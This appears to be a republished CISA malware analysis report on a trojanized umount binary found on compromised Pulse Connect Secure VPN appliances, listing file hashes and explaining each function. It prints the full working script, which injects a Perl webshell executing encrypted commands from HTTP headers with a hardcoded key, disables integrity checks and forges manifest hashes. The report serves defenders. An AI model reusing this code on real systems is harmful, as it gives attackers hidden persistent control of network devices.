This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received four files for analysis. One of the files is a modified version of the Unix umount application. It is designed to “hook” the umount functionality of a compromised Unix device. The added functionality provided via this umount “hook” makes several system modifications which provides a remote operator persistent command and control (C2) access to a compromised Pulse Secure device. The remaining files are modified by the umount “hook.” This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10337580-1.v1.WHITE.stix.

Submitted Files (4)

4ebb25ef9621c44cdb52630e44bcd1b5a848c0c56f01fa759863d50166bb0928 (umount)

5fbdc77bfce54b023a82f04cbe9b1c891d93f63cd782f1875111f0bbc79ca6f5 (libdsplibs.so)

6092a24ca3853fb351989ee1aa2eca604fc438afc1e64df3ede10ffda577d475 (sdp_mobile_login.cgi)

e3137135f4ad5ecdc7900a619d7f1b88ba252b963b38ae9a156299cc9bce92a1 (rdpreauth.cgi)

4ebb25ef9621c44cdb52630e44bcd1b5a848c0c56f01fa759863d50166bb0928

Details
Name umount
Size 53836 bytes
Type data
MD5 53a3bce53a360a8614337ac52672cd20
SHA1 4991f7ffbb16128fafc1c6d476a5793f4dc2554a
SHA256 4ebb25ef9621c44cdb52630e44bcd1b5a848c0c56f01fa759863d50166bb0928
SHA512 6ed95c5d452ee26bcc8b945aafb17807d1db2d6b3b46958435a02619c6cddf1b5a017a36d4e022c6e9ae57d588d29f1eac95c25496834cab86564c1f288491fe
ssdeep 768:EAkWEZfTRlHCc6DZ7z1K1q0C+i6d81CEdObeDE+sJeRbtkzuBe5Ri3XJCEJ:QWQtXkZ9K00C+iQVeQeRxOAkEJ
Entropy 6.131720
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a malicious replacement for the Unix umount binary. The modified umount application contains a bash script with an appended ELF binary. When the system attempts to perform an unmount to disconnect a device, the “main” portion of this script will perform several system modifications to the Pulse Secure device before extracting the appended ELF binary, writing it to disk, marking it executable, and using it to actually perform the umount task. This application acts as a “hook” to the compromised device’s unmount task. The system modifications performed during this “hook” are ultimately designed to provide a hacker remote C2 capabilities over a compromised Pulse Secure device.

The full malicious script contained within this application is illustrated below. After this full illustration is a summary explanation of the primary pieces of this full malicious script.

–Begin Full Malicious Script–

##sstart
#!/bin/bash
normal_um()
{
   /bin/cp /bin/umount /bin/umount_re
   /bin/sed -i ‘/##sstart/,/##eend/d’ /bin/umount_re
   /bin/sed -i ‘1d’ /bin/umount_re
   /bin/sed -i ‘s/^#//’ /bin/umount_re
   /bin/chmod u+x /bin/umount_re
   /bin/umount_re $*
   /bin/rm -f /bin/umount_re
   /bin/mount -o remount,ro /dev/root / >/dev/null 2>&1
}

patch_manifest()
{
   file=”/tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi”
   OPENSSL=”/tmp/data/root/home/bin/openssl”
   h=`$OPENSSL dgst -sha256 $file 2>/dev/null | sed -e ‘s/^[^ ]*= //’`
   bkh=”/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi “$h” b”
   ori=`sed -n “/sdp_mobile_login.cgi/=” /tmp/data/root/home/etc/manifest/manifest`
   if [ -n “$ori” ]; then
    /bin/sed -i “$ori”a\”$bkh” /tmp/data/root/home/etc/manifest/manifest
    /bin/sed -i “$ori”d /tmp/data/root/home/etc/manifest/manifest
   fi

   sed -i ‘/verify 1/d’ /tmp/data/root/home/bin/check_integrity.sh
   sed -i ‘/err Signature/d’ /tmp/data/root/home/bin/check_integrity.sh
}

patch_cgi()
{
   /bin/sed -i ‘/##cgistart1/,/##cgiend1/w tmp1’ /bin/umount
   /bin/sed -i ‘/##cgistart2/,/##cgiend2/w tmp2’ /bin/umount
   /bin/sed -i ‘/^use DSSessionParams/r tmp1’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/^sub main/r tmp2’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgi/d’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/rm -f tmp1
   /bin/rm -f tmp2
}

patch_libdsp()
{
   /bin/sed -i ‘s/ForceCommand/#orceCommand/g’ /tmp/data/root/home/lib/libdsplibs.so
   /bin/sed -i ‘/local line c file sha m/,/exit 1/s/verifyFiles//g’ /tmp/data/root/home/bin/check_integrity.sh
}

patch_umount()
{
   /bin/sed -i ‘/##sstart/,/##eend/w /tmp/data/root/bin/xx’ /bin/umount
   /bin/sed -i ‘s/^/#/’ /tmp/data/root/bin/umount
   /bin/sed -i ‘1i ‘ /tmp/data/root/bin/umount
   /bin/sed -i ‘1r /tmp/data/root/bin/xx’ /tmp/data/root/bin/umount
   /bin/touch /tmp/data/root/bin/umount -r /tmp/data/root/bin/cp
   /bin/rm -f /tmp/data/root/bin/xx
}

waitweb()
{
   trap ” HUP >/dev/null 2>&1
   st=1
   while [ $st -lt 2 ] ; do
       ps -fA|grep /home/bin/web |grep -v grep > /dev/null
       if [ $? -eq 0 ]; then
           sleep 3
           /bin/mount -o remount,rw /dev/root / >/dev/null 2>&1
           st=2
           /bin/mount -o remount,ro /dev/root / > /dev/null 2>&1
       else
           sleep 2
       fi
   done
}

/bin/mount -o remount,rw /dev/root / >/dev/null 2>&1
if [ $# == 2 ] && [ $1 == “-r” ] && [ $2 == “/tmp/data/root” ] ; then
   patch_cgi
   patch_manifest
   patch_umount
   patch_libdsp
   normal_um $*
else
   normal_um $*
fi

###cgistart1
#use Crypt::RC4;
#use MIME::Base64 ();
###cgiend1

###cgistart2
#my $request_method=$ENV{‘REQUEST_METHOD’};
#if ($request_method eq “POST”) {
#    my $x_key = $ENV{‘HTTP_X_KEY’};
#    if ($x_key eq “zzdibweoQxffnDEi2UKacJlEekplJ7uwrt”) {
#        my $x_cmd = $ENV{‘HTTP_X_CMD’};
#        my $x_cnt = $ENV{‘HTTP_X_CNT’};
#        $x_cmd = MIME::Base64::decode($x_cmd);
#        $x_cmd = RC4($x_cnt, $x_cmd);
#        my $res;
#        my $re=popen(*DUMP, $x_cmd, “r”);
#        while(<DUMP>){
#            $res .= $_;
#        }
#        close(*DUMP);
#        print “Content-type:text/htmlnn”;
#        print MIME::Base64::encode(RC4($x_cnt, $res));
#        exit(0);
#    }
#    else {
#        exit(0);
#    }
#}
###cgiend2

##eend

–End Full Malicious Script–

The function illustrated below is designed to make a small modification to the Pulse Secure system file named libdsplibs.so. This function will change all occurrences of the string “ForceCommand” in the libdsplibs.so binary to the string “#orceCommand”. The function below will also remove the string “verifyFiles” from the Pulse Secure system file named check_integrity.sh.

–Begin libdsplibs.so Modification Function–

patch_libdsp()
{
   /bin/sed -i ‘s/ForceCommand/#orceCommand/g’ /tmp/data/root/home/lib/libdsplibs.so
   /bin/sed -i ‘/local line c file sha m/,/exit 1/s/verifyFiles//g’ /tmp/data/root/home/bin/check_integrity.sh
}

–End libdsplibs.so Modification Function–

The function illustrated below is designed to modify the Pulse Secure system files named manifest and check_integrity.sh. As illustrated, this function hashes the new version of the script named sdp_mobile_login.cgi, which now contains a patched in webshell. The function then counts the number of times the string “sdp_mobile_login.cgi” is found in the Pulse Secure manifest file. The malware then replaces this “sdp_mobile_login.cgi” string with the full path of the patched version, and its corresponding SHA256 value within the manifest file. The replacement string for the current “sdp_mobile_login.cgi” strings will appear similar to the following: “/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi 6092a24ca3853fb351989ee1aa2eca604fc438afc1e64df3ede10ffda577d475 b”.

The function then removes the strings “verify 1” and “err Signature” from the Pulse Secure system file check_integrity.sh. It appears the modifications may be required for the Pulse Secure system to allow the execution of the hacker-modified version of sdp_mobile_login.cgi.

Note: The comments in the code below were added by CISA to clarify the functionality of different parts of the malicious code.

–Begin manifest and check_integrity.sh Modification Function–

patch_manifest()
{
   file=”/tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi” //*CISA: Assign full path to variable file
   OPENSSL=”/tmp/data/root/home/bin/openssl”.
   h=`$OPENSSL dgst -sha256 $file 2>/dev/null | sed -e ‘s/^[^ ]*= //‘` //*CISA: SHA256 hash file.
   bkh=”/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi “$h” b”         //*CISA: Build variable containing full file name and SHA256.
   ori=`sed -n “/sdp_mobile_login.cgi/=” /tmp/data/root/home/etc/manifest/manifest` //*CISA: Count number of sdp_mobile_login.cgi occurrences.
   if [ -n “$ori” ]; then                
    /bin/sed -i “$ori”a\”$bkh” /tmp/data/root/home/etc/manifest/manifest //*CISA: Replace with full path of hacked sdp_mobile_login.cgi file with hash value.
    /bin/sed -i “$ori”d /tmp/data/root/home/etc/manifest/manifest
   fi
   sed -i ‘/verify 1/d’ /tmp/data/root/home/bin/check_integrity.sh //*CISA: Remove “verify 1” string from file.
   sed -i ‘/err Signature/d’ /tmp/data/root/home/bin/check_integrity.sh //*CISA: Remove “err Signature” string from file.
}

–End manifest and check_integrity.sh Modification Function–

The script modifies the Pulse Secure system file named sdp_mobile_login.cgi by adding data to it from a file contained on disk named tmp2. The code utilized to modify sdb_mobile_login.cgi is illustrated below. Analysis of the modified sdb_mobile_login.cgi indicates this modification adds a webshell to the Pulse Secure applications which allows an operator to remotely issue commands to a compromised device. This patched-in webshell is detailed within the description of the file sdp_mobile_login.cgi, included within this document. Notably, the function below also modifies the /bin/umount application by adding data to it contained in the files tmp1 and tmp2. After the modifications of umount and sdp_mobile_login.cgi, the function deletes the files tmp1 and tmp2. The original files tmp1 and tmp2 were not available for analysis.

–Begin sdb_mobile_login.cgi and umount Modification Code (Using tmp1 and tmp2)–

patch_cgi()
{
   /bin/sed -i ‘/##cgistart1/,/##cgiend1/w tmp1’ /bin/umount
   /bin/sed -i ‘/##cgistart2/,/##cgiend2/w tmp2’ /bin/umount
   /bin/sed -i ‘/^use DSSessionParams/r tmp1’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/^sub main/r tmp2’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/sed -i ‘/##cgi/d’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/sdp_mobile_login.cgi
   /bin/rm -f tmp1
   /bin/rm -f tmp2
}

–End sdb_mobile_login.cgi and umount Modification Code (Using tmp1 and tmp2)–

The malicious function illustrated below is designed to extract the ELF binary from the current (hacker modified) umount application, and run it as a standalone application to actually perform the umount function for the operating system. The function extracts the embedded ELF, writes it out to disk as /bin/umount_re, and sets it to executable via the system command /bin/chmod u+x /bin/umount_re. The function then executes the umount_re application and deletes it from disk. The final command in the function mounts /dev/root as read only. The remounting of /dev/root with read only permissions is likely a method to hide this activity from a system administrator, as it may draw the attention of system analysts that /dev/root is mounted with read and write permissions.

–Begin normal_um() Function–

normal_um()
{
   /bin/cp /bin/umount /bin/umount_re
   /bin/sed -i ‘/##sstart/,/##eend/d’ /bin/umount_re
   /bin/sed -i ‘1d’ /bin/umount_re
   /bin/sed -i ‘s/^#//’ /bin/umount_re
   /bin/chmod u+x /bin/umount_re
   /bin/umount_re $*
   /bin/rm -f /bin/umount_re
   /bin/mount -o remount,ro /dev/root / >/dev/null 2>&1
}

–End normal_um() Function–

The function below modifies the system application /bin/umount using the data contained in a file named /tmp/data/root/bin/xx. The function then deletes the file named /tmp/data/root/bin/xx.

–Begin patch_umount Function–

patch_umount()
{
   /bin/sed -i ‘/##sstart/,/##eend/w /tmp/data/root/bin/xx’ /bin/umount
   /bin/sed -i ‘s/^/#/’ /tmp/data/root/bin/umount
   /bin/sed -i ‘1i ‘ /tmp/data/root/bin/umount
   /bin/sed -i ‘1r /tmp/data/root/bin/xx’ /tmp/data/root/bin/umount
   /bin/touch /tmp/data/root/bin/umount -r /tmp/data/root/bin/cp
   /bin/rm -f /tmp/data/root/bin/xx
}

–End patch_umount Function–

Illustrated below, is the “main” portion of this malicious application with comments added by our team to illustrate the purpose of this file.

Note: The comments in the code below were added by CISA to clarify the functionality of different parts of the malicious code.

–Begin Main Script–

/bin/mount -o remount,rw /dev/root / >/dev/null 2>&1 //*CISA: Mount the /dev/root partition with read and write permissions.
if [ $# == 2 ] && [ $1 == “-r” ] && [ $2 == “/tmp/data/root” ] ; then
   patch_cgi //*CISA: Patch the applications /bin/umount and sdp_mobile_login.cgi with malicious code (allowing remote access to device).
   patch_manifest //*CISA: Patch manifest and check_integrity.sh scripts so they will not block the now patched app sdp_mobile_login.cgi.
   patch_umount. //*CISA: Patches the /bin/umount file with data from /tmp/data/root/bin/xx.
   patch_libdsp //*CISA: Patches Pulse Secure system library /tmp/data/root/home/lib/libdsplibs.so.
   normal_um $* //*CISA: Extracts ELF from patched umount application, executes it, deletes it. Then remounts /dev/root as read only.
else
   normal_um $*
fi

–End Main Script–

Source link

Author: Editor
Editor represents multiple online news sites, including STL.News, RSSNews.Press and more. We believe that our "direct source news" concept helps provide accurate information to the public without bias. We want to help improve technology so the news is presented as it was intended to be.